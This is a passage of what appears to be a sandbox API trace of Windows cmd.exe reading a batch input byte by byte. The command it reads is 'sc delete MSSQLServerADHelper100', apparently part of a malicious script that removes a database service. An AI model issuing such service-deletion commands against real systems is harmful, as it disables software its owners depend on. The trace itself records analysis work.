0x1b0000 [0065.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.738] GetProcessHeap () returned 0x1b0000 [0065.738] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0065.738] GetProcessHeap () returned 0x1b0000 [0065.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.739] GetProcessHeap () returned 0x1b0000 [0065.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0065.739] GetProcessHeap () returned 0x1b0000 [0065.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.739] GetProcessHeap () returned 0x1b0000 [0065.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.739] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.739] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.739] GetFileType (hFile=0x120) returned 0x3 [0065.739] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.739] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.739] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.739] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.739] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.739] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.739] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.739] GetFileType (hFile=0x120) returned 0x3 [0065.740] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.740] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.740] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.740] GetFileType (hFile=0xb8) returned 0x3 [0065.740] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.740] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.740] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.740] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerADHelper100\n\n") returned 1 [0065.740] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.740] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.740] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.740] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerADHelper100\n\n") returned 1 [0065.740] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.740] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.740] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.740] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerADHelper100\n\n") returned 1 [0065.740] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.740] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.740] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerADHelper100\n\n") returned 1 [0065.741] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.741] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.741] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerADHelper100\n\n") returned 1 [0065.741] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.741] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.741] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerADHelper100\n\n") returned 1 [0065.741] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.741] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.741] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerADHelper100\n\n") returned 1 [0065.741] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.741] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.741] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerADHelper100\n\n") returned 1 [0065.741] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.741] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.741] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.742] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.742] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.742] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.742] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.742] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.742] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SSQLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.742] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.742] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SQLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.742] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.742] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="QLServerADHelper100\n\n") returned 1 [0065.742] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.743] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="LServerADHelper100\n\n") returned 1 [0065.743] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.743] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="ServerADHelper100\n\n") returned 1 [0065.743] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.743] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="erverADHelper100\n\n") returned 1 [0065.743] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.743] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="rverADHelper100\n\n") returned 1 [0065.743] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.743] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="verADHelper100\n\n") returned 1 [0065.743] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.743] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="erADHelper100\n\n") returned 1 [0065.744] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.744] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="rADHelper100\n\n") returned 1 [0065.744] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.744] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="ODHelper100\n\n") returned 1 [0065.744] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.744] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="LHelper100\n\n") returned 1 [0065.744] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.744] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="Aelper100\n\n") returned 1 [0065.744] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.744] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.744] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="Plper100\n\n") returned 1 [0065.745] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.745] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.745] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="Sper100\n\n") returned 1 [0065.745] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.745] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.745] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="eer100\n\n") returned 1 [0065.745] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.745] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.745] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="rr100\n\n") returned 1 [0065.745] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.745] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.745] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="v100\n\n") returned 1 [0065.745] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.745] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.745] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.745] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="i00\n\n") returned 1 [0065.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.746] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.746] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.746] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="c0\n\n") returned 1 [0065.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.746] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.746] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.746] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="e\n\n") returned 1 [0065.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.746] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.746] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.746] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, 